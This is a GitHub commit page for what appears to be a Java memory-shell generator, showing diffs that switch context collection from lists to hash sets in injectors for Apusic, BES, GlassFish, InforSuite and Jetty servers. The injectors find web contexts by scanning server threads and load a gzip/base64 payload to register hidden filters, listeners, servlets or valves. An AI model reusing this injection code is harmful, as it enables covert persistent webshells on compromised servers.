Skip to content

Commit 0799ebf

Browse files
committed
refactor: use hashset to reduce inject times
1 parent aac5a43 commit 0799ebf

29 files changed

+115
-151
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,7 @@
77
import java.lang.reflect.Array;
88
import java.lang.reflect.Field;
99
import java.lang.reflect.Method;
10-
import java.util.ArrayList;
11-
import java.util.List;
12-
import java.util.Map;
13-
import java.util.Set;
10+
import java.util.*;
1411
import java.util.zip.GZIPInputStream;
1512

1613
/**
@@ -34,7 +31,7 @@ public String getBase64String() throws IOException {
3431
}
3532

3633
public ApusicFilterInjector() {
37-
List<Object> contexts = null;
34+
Set<Object> contexts = null;
3835
try {
3936
contexts = getContext();
4037
} catch (Throwable throwable) {
@@ -77,8 +74,8 @@ private String getContextRoot(Object context) {
7774
* context -> webapp: com.apusic.deploy.runtime.WebModule
7875
* /usr/local/ass/lib/apusic.jar
7976
*/
80-
public List<Object> getContext() throws Exception {
81-
List<Object> contexts = new ArrayList<Object>();
77+
public Set<Object> getContext() throws Exception {
78+
Set<Object> contexts = new HashSet<Object>();
8279
Set<Thread> threads = Thread.getAllStackTraces().keySet();
8380
for (Thread thread : threads) {
8481
if (thread.getName().contains("HouseKeeper")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,7 @@
66
import java.io.PrintStream;
77
import java.lang.reflect.Field;
88
import java.lang.reflect.Method;
9-
import java.util.ArrayList;
10-
import java.util.List;
11-
import java.util.Map;
12-
import java.util.Set;
9+
import java.util.*;
1310
import java.util.zip.GZIPInputStream;
1411

1512
/**
@@ -33,7 +30,7 @@ public String getBase64String() throws IOException {
3330
}
3431

3532
public ApusicListenerInjector() {
36-
List<Object> contexts = null;
33+
Set<Object> contexts = null;
3734
try {
3835
contexts = getContext();
3936
} catch (Throwable throwable) {
@@ -71,8 +68,8 @@ private String getContextRoot(Object context) {
7168
return c + "(" + r + ")";
7269
}
7370

74-
public List<Object> getContext() throws Exception {
75-
List<Object> contexts = new ArrayList<Object>();
71+
public Set<Object> getContext() throws Exception {
72+
Set<Object> contexts = new HashSet<Object>();
7673
Set<Thread> threads = Thread.getAllStackTraces().keySet();
7774
for (Thread thread : threads) {
7875
if (thread.getName().contains("HouseKeeper")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,7 @@
66
import java.io.PrintStream;
77
import java.lang.reflect.Field;
88
import java.lang.reflect.Method;
9-
import java.util.ArrayList;
10-
import java.util.List;
11-
import java.util.Map;
12-
import java.util.Set;
9+
import java.util.*;
1310
import java.util.zip.GZIPInputStream;
1411

1512
/**
@@ -33,7 +30,7 @@ public String getBase64String() throws IOException {
3330
}
3431

3532
public ApusicServletInjector() {
36-
List<Object> contexts = null;
33+
Set<Object> contexts = null;
3734
try {
3835
contexts = getContext();
3936
} catch (Throwable throwable) {
@@ -71,8 +68,8 @@ private String getContextRoot(Object context) {
7168
return c + "(" + r + ")";
7269
}
7370

74-
public List<Object> getContext() throws Exception {
75-
List<Object> contexts = new ArrayList<Object>();
71+
public Set<Object> getContext() throws Exception {
72+
Set<Object> contexts = new HashSet<Object>();
7673
Set<Thread> threads = Thread.getAllStackTraces().keySet();
7774
for (Thread thread : threads) {
7875
if (thread.getName().contains("HouseKeeper")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ public String getBase64String() throws IOException {
3030
}
3131

3232
public BesFilterInjector() {
33-
List<Object> contexts = null;
33+
Set<Object> contexts = null;
3434
try {
3535
contexts = getContext();
3636
} catch (Throwable throwable) {
@@ -72,8 +72,8 @@ private String getContextRoot(Object context) {
7272
* com.bes.enterprise.webtier.core.DefaultContext
7373
* /opt/bes/lib/bes-engine.jar
7474
*/
75-
public List<Object> getContext() throws Exception {
76-
List<Object> contexts = new ArrayList<Object>();
75+
public Set<Object> getContext() throws Exception {
76+
Set<Object> contexts = new HashSet<Object>();
7777
Set<Thread> threads = Thread.getAllStackTraces().keySet();
7878
for (Thread thread : threads) {
7979
if (thread.getName().contains("ContainerBackgroundProcessor")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ public String getBase64String() throws IOException {
2626
}
2727

2828
public BesListenerInjector() {
29-
List<Object> contexts = null;
29+
Set<Object> contexts = null;
3030
try {
3131
contexts = getContext();
3232
} catch (Throwable throwable) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ public String getBase64String() {
2525
}
2626

2727
public BesValveInjector() {
28-
List<Object> contexts = null;
28+
Set<Object> contexts = null;
2929
try {
3030
contexts = getContext();
3131
} catch (Throwable throwable) {
@@ -63,8 +63,8 @@ private String getContextRoot(Object context) {
6363
return c + "(" + r + ")";
6464
}
6565

66-
public List<Object> getContext() throws Exception {
67-
List<Object> contexts = new ArrayList<Object>();
66+
public Set<Object> getContext() throws Exception {
67+
Set<Object> contexts = new HashSet<Object>();
6868
Set<Thread> threads = Thread.getAllStackTraces().keySet();
6969
for (Thread thread : threads) {
7070
if (thread.getName().contains("ContainerBackgroundProcessor")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,7 @@
77
import java.lang.reflect.Constructor;
88
import java.lang.reflect.Field;
99
import java.lang.reflect.Method;
10-
import java.util.ArrayList;
11-
import java.util.List;
12-
import java.util.Map;
13-
import java.util.Set;
10+
import java.util.*;
1411
import java.util.zip.GZIPInputStream;
1512

1613
/**
@@ -33,7 +30,7 @@ public String getBase64String() {
3330
}
3431

3532
public GlassFishFilterInjector() {
36-
List<Object> contexts = null;
33+
Set<Object> contexts = null;
3734
try {
3835
contexts = getContext();
3936
} catch (Throwable throwable) {
@@ -75,8 +72,8 @@ private String getContextRoot(Object context) {
7572
* com.sun.enterprise.web.WebModule
7673
* /xxx/modules/web-glue.jar
7774
*/
78-
public List<Object> getContext() throws Exception {
79-
List<Object> contexts = new ArrayList<Object>();
75+
public Set<Object> getContext() throws Exception {
76+
Set<Object> contexts = new HashSet<Object>();
8077
Set<Thread> threads = Thread.getAllStackTraces().keySet();
8178
for (Thread thread : threads) {
8279
if (thread.getName().contains("ContainerBackgroundProcessor")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ public String getBase64String() {
2626

2727

2828
public GlassFishValveInjector() {
29-
List<Object> contexts = null;
29+
Set<Object> contexts = null;
3030
try {
3131
contexts = getContext();
3232
} catch (Throwable throwable) {
@@ -64,8 +64,8 @@ private String getContextRoot(Object context) {
6464
return c + "(" + r + ")";
6565
}
6666

67-
public List<Object> getContext() throws Exception {
68-
List<Object> contexts = new ArrayList<Object>();
67+
public Set<Object> getContext() throws Exception {
68+
Set<Object> contexts = new HashSet<Object>();
6969
Set<Thread> threads = Thread.getAllStackTraces().keySet();
7070
for (Thread thread : threads) {
7171
if (thread.getName().contains("ContainerBackgroundProcessor")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ public String getBase64String() throws IOException {
3131
}
3232

3333
public InforSuiteFilterInjector() {
34-
List<Object> contexts = null;
34+
Set<Object> contexts = null;
3535
try {
3636
contexts = getContext();
3737
} catch (Throwable throwable) {
@@ -73,8 +73,8 @@ private String getContextRoot(Object context) {
7373
* com.cvicse.loong.enterprise.web.WebModule
7474
* /usr/local/inforsuite/as/modules/web-glue.jar
7575
*/
76-
public List<Object> getContext() throws Exception {
77-
List<Object> contexts = new ArrayList<Object>();
76+
public Set<Object> getContext() throws Exception {
77+
Set<Object> contexts = new HashSet<Object>();
7878
Set<Thread> threads = Thread.getAllStackTraces().keySet();
7979
for (Thread thread : threads) {
8080
if (thread.getName().contains("ContainerBackgroundProcessor")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
import java.io.PrintStream;
77
import java.lang.reflect.*;
88
import java.util.ArrayList;
9+
import java.util.HashSet;
910
import java.util.List;
1011
import java.util.Set;
1112
import java.util.zip.GZIPInputStream;
@@ -33,7 +34,7 @@ public String getBase64String() throws IOException {
3334
}
3435

3536
public JettyFilterInjector() {
36-
List<Object> contexts = null;
37+
Set<Object> contexts = null;
3738
try {
3839
contexts = getContext();
3940
} catch (Throwable throwable) {
@@ -154,8 +155,8 @@ public String toString() {
154155
* org.eclipse.jetty.ee9.webapp.WebAppContext
155156
* org.eclipse.jetty.ee10.webapp.WebAppContext
156157
*/
157-
private List<Object> getContext() throws Exception {
158-
List<Object> contexts = new ArrayList<Object>();
158+
public Set<Object> getContext() throws Exception {
159+
Set<Object> contexts = new HashSet<Object>();
159160
Set<Thread> threads = Thread.getAllStackTraces().keySet();
160161
for (Thread thread : threads) {
161162
try {

0 commit comments

Comments
 (0)